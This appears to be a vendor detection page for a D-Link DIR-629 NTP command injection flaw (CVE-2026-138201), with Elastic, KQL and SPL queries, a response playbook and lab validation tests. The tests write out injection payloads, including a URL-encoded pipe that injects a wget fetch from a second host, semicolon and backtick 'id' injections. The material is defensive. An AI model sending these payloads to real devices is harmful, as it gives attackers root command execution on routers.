Detect D-Link DIR-629 NTP Time Command Injection (CVE-2026-138201) in Elastic Security
Detects exploitation of CVE-2026-138201, an OS command injection vulnerability in the D-Link DIR-629 1.03.B01_CN router. An unknown function in /etc/services/DEVICE.TIME.php (the NTP Time component) fails to sanitize the attacker-controlled server argument before passing it to a shell. An attacker who can reach the device HTTP management interface can inject arbitrary OS commands (CWE-77/CWE-78), resulting in remote command execution as root. The attack can be launched remotely. CVSS 4.0 base score 8.6. A public exploit is available. This detection surfaces anomalous HTTP requests to the DEVICE.TIME handler containing shell metacharacters, and post-exploitation child-process/command execution telemetry on devices that forward syslog.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
// df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence
network where url.path : "*DEVICE.TIME*" and
(url.query : ("*;*", "*|*", "*%3B*", "*%7C*", "*`*", "*$(*", "*%60*") or
http.request.body.content : ("*;*", "*|*", "*`*", "*$(*")) Matches network events to the DIR-629 DEVICE.TIME endpoint where the query string or request body contains shell metacharacters.
Data Sources
Required Tables
False Positives & Tuning
- Authorized scanning traffic from vulnerability assessment tooling
- Legitimate NTP configuration with unusual hostname characters
- Benign URL-encoded reserved characters in query strings
Other platforms for CVE-2026-138201
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated DEVICE.TIME command injection via curl (lab)
Expected signal: Firewall/proxy/syslog record of a POST to DEVICE.TIME.php containing a semicolon and the injected 'id' command.
- Test 2 URL-encoded pipe injection against NTP handler (lab)
Expected signal: Network log shows a GET to DEVICE.TIME.php with %7C (encoded pipe) and an embedded wget command.
- Test 3 Backtick subcommand injection probe (lab)
Expected signal: Proxy/firewall record of a POST to DEVICE.TIME.php containing backtick characters.
Response Playbook
Triage
- Confirm the source IP in the alert is attempting to reach the HTTP management interface of a D-Link DIR-629 (1.03.B01_CN) device and extract the full DEVICE.TIME request payload.
- Decode any URL-encoded characters in the payload and identify the injected shell command fragment (characters after ;, |, &, `, or $( ).
- Determine whether the management interface is reachable from untrusted networks (WAN/Internet) versus LAN-only, which changes exposure.
- Check whether the device subsequently generated outbound connections, DNS lookups, or syslog entries indicating the injected command executed.
Containment
- Block the attacker source IP at the perimeter firewall and restrict access to the DIR-629 management interface to trusted management subnets only.
- Isolate the affected router from the WAN if remote management is exposed, and disable remote administration until patched.
- If compromise is confirmed, factory-reset the device and reflash firmware from a verified image, as embedded command injection can persist in configuration/NVRAM.
Evidence Collection
- Capture and preserve the full HTTP request(s) to DEVICE.TIME.php, including headers, body, and source IP, from firewall/proxy/syslog logs.
- Export device syslog and any available process/connection telemetry around the time of the request for the injected command's effects.
Escalation Criteria
- !Escalate to incident response if post-request telemetry shows outbound C2 connections, new processes, or configuration changes on the device.
- !Escalate if the DIR-629 management interface is confirmed exposed to the Internet, given the CVSS 8.6 remote command execution risk and that a public exploit exists.
Investigation Guide
Forensic Artifacts
- >
HTTP access/firewall logs showing requests to /etc/services/DEVICE.TIME.php with shell metacharacters - >
Device syslog entries and NVRAM/configuration changes reflecting injected command execution - >
Outbound network connections originating from the router immediately after the malicious request
Tuning Guidance
Baseline legitimate management access to the DIR-629 interface by source IP and restrict the detection to requests originating outside known administrator subnets. If authorized vulnerability scanners regularly probe the device, allowlist their source IPs. Tighten the metacharacter regex if benign NTP hostnames in your environment legitimately contain reserved characters, and prioritize alerts where the management interface is WAN-exposed.
Hunting Queries
Surfaces source IPs making repeated requests to the DEVICE.TIME endpoint, indicating scanning or brute-force exploitation attempts.
// df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "DEVICE.TIME" | summarize count(), make_set(RequestURL) by SourceIP, bin(TimeGenerated, 1h) | where count_ > 5 ``` df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence ```
index=network url="*DEVICE.TIME*" | stats count values(url) by src_ip | where count>5 Atomic Red Team Tests
Sends an HTTP request to a lab DIR-629 (or emulated endpoint) DEVICE.TIME handler with a semicolon-delimited injected command to validate detection coverage.
Command
curl -s -X POST 'http://192.0.2.10/etc/services/DEVICE.TIME.php' --data 'ntp_server=pool.ntp.org;id' -o /dev/null Cleanup
echo 'No cleanup required; request leaves no local artifacts on the testing host.' Expected Telemetry
Firewall/proxy/syslog record of a POST to DEVICE.TIME.php containing a semicolon and the injected 'id' command.
Expected Detection
KQL/SPL/network queries match on the DEVICE.TIME URL plus shell metacharacter in the payload.
Issues a GET request with a URL-encoded pipe character to the DEVICE.TIME handler to confirm encoded-metacharacter detection.
Command
curl -s 'http://192.0.2.10/etc/services/DEVICE.TIME.php?ntp_server=time.google.com%7Cwget%20http://192.0.2.20/x' -o /dev/null Cleanup
echo 'No cleanup required.' Expected Telemetry
Network log shows a GET to DEVICE.TIME.php with %7C (encoded pipe) and an embedded wget command.
Expected Detection
Queries match on the encoded metacharacter (%7C) within a DEVICE.TIME request.
Sends a request containing a backtick-delimited subcommand to the DEVICE.TIME endpoint to verify backtick detection.
Command
powershell -Command "Invoke-WebRequest -Uri 'http://192.0.2.10/etc/services/DEVICE.TIME.php' -Method POST -Body 'ntp_server=`id`' -UseBasicParsing" Cleanup
echo done Expected Telemetry
Proxy/firewall record of a POST to DEVICE.TIME.php containing backtick characters.
Expected Detection
Detection queries match the backtick metacharacter within the DEVICE.TIME request payload.